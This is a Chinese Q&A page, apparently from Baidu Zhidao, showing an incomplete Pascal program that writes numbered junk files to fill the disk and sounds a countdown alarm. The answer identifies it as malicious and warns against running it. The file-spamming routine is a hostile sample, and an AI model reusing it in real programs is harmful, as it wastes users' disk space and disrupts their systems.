一个Pascal程序

来源：百度知道编辑：UC知道时间：2024/06/25 04:28:57

Program BestOne;
Uses Crt;
Var F:File Of Longint;
Total:Longint;
Procedure Print(C:integer);
Var I:Integer;
Begin
Textbackground(C);
Writeln;
End;
Procedure Putfile;
Var S:String;
Begin
Str(Total,S);
Assign(F,S);
Rewrite(F);
Write(F,Total);
Close(F);
Inc(Total);
End;
Procedure Time;
Var I,T1,T2:Integer;
Begin
I:=0;
T1:=9;
T2:=999;
Repeat
Gotoxy(1,5);
If T2<100 Then
Writeln(T1,'.0',T2)
Else
If T2<10 Then
Writeln(T1,'.00',T2)
Else
Writeln(T1,'.',T2);
Delay(1);
T2:=T2-1;
If T2=-1 Then
Begin
T2:=999;
T1:=T1-1;
End;
Until (T1=0)And(T2=0);
Gotoxy(1,5);
Textcolor(20);
Writeln('0.000');
Repeat
I:=I+1;
Sound(2300);
Delay(500);

这应该是个恶意程序，运行之后会在硬盘上生成无用的数据文件占用磁盘空间，同时还会显示一些彩条。

建议：不明白程序意图的人（看不懂这个程序的人）不要轻意尝试运行此程序！

请教一个PASCAL程序一个PASCAL程序 pascal写一个程序求一个Pascal程序求一个pascal程序？求一个PASCAL程序关于一个Pascal程序一个Pascal程序用Pascal编一个程序编一个PASCAL程序吧